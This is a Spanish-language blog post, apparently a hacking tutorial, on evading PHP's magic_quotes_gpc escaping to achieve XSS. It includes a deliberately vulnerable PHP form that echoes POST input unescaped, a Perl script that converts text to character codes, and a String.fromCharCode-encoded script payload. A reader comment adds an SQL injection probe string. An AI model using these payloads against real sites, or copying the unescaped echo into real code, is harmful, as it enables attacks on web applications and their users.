Buenas, algunas veces necesitamos explotar un XSS via GET o via POST, pero nos no dejas porque al parecer tienen ON la directiva magic_quotes_gpc (Get, Post, Cookie), que nos escapa las comillas dobles y simples a barras invertidas, esto puede ser un problema al principio pero esto se puede bypassear con la función String.fromCharCode(), ahora sito el texto:
Este es un método global del objeto String que crea una cadena a partir de los
códigos Unicode que se le pasen como parámetros.
Bueno, para resumir, para poder explotar las magic_quotes_gpc, solo es necesario insertar un código javascript que no contenga comillas dobles y simples, para esto nos ayudara la función de javascript String.fromCharCode().
Bueno, primero debo saber si tengo la directiva On en el php.ini
root@yoya-desktop:/# cat /etc/php5/apache2/php.ini|grep magic_quotes_gpcCon esto ya sabemos que tenemos la directiva magic_quotes_gpc On.
magic_quotes_gpc = On
Nota: Apartir de PHP 5.3.0 la directiva magic_quotes_gpc viene por defecto Off y apartir de la versión 6 de PHP sera eliminada.
Explotaremos el siguiente archivo:
<?php
/*Archivo proc.php*/
/*Explotando XSS con magic_quote_gpc ON*/
$var = $_POST['form1'];
$var2 = $_POST['form2'];
if(!empty($var) && !empty($var2))
{
echo "El primer valor es: ", $var;
echo "<br>";
echo "El segundo valor es: ", $var2;
exit;
}
?>
<form name="Formulario" action="proc.php" method="POST">
<p>Ingrese el primer parametro</p>
<input name="form1" type="txt" size="30">
<p>Ingrese el Segundo parametro</p>
<input name="form2" type="txt" size="30">
<br>
<input type="submit" value="Enviar">
</form>
Ok, luego presionamos enviar y aparecerá lo siguiente:
El primer valor es: \"Probando \"comillas dobles\"
El segundo valor es: \'Probando comillas simples\'
Podemos ver que nos a escapado las comillas dobles y simple con barras invertidas,
ok, si ponemos en el formulario, ok ahora usaremos la funcion String.fromCharCode() para pasar los parámetros necesario para ejecutar XSS pero lo tendremos que pasar en ascii, tengo hice una herramienta en perl para su uso.
#!/usr/bin/perl
#Code by Yoyahack
#yoyahack.blogspot.com
#Undersecurity.net
if(!$ARGV[0]){
print "Usage perl $0 <text>\n";
print "Ex: perl $0 yoyahack\n";
exit;
}
print "La cadena convertida a ASCII es:\n";
print join ',', unpack "U*", $ARGV[0];
print "\n";
exit;
Ok, la vamos a pasar y vamos a pasar el siguiente parametro a la tool en perl:
<script>alert("Buenas, esto es un ejemplo")</script>
Y nos devolverá:
60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,66,117,101,110,97,115,44,32,101,115,116,111,32,101,115,32,117,110,32,101,106,101,109,112,108,111,34,41,60,47,115,99,114,105,112,116,62
Ok ahora insertamos lo siguiente en el formulario:
<script>document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,66,117,101,110,97,115,44,32,101,115,116,111,32,101,115,32,117,110,32,101,106,101,109,112,108,111,34,41,60,47,115,99,114,105,112,116,62))</script>
Y el resultado:
Bueno, esto era todo...
Saludos.
Hey que tal? tengo una duda hace tiempo respecto a los magic_quotes_gpc():
Hay alguna forma de "bypasear" las comillas magicas para hacer sqli ??? osea en algun sitio donde haya un parámetro get:
misitio.com/buscar.php?busqueda=xxx' or '1
y que no llegue al query de esta manera:
select * from xxx where busqueda = 'xxx\' or \'1';
Gracias y saludos, muy profesional tu entrada.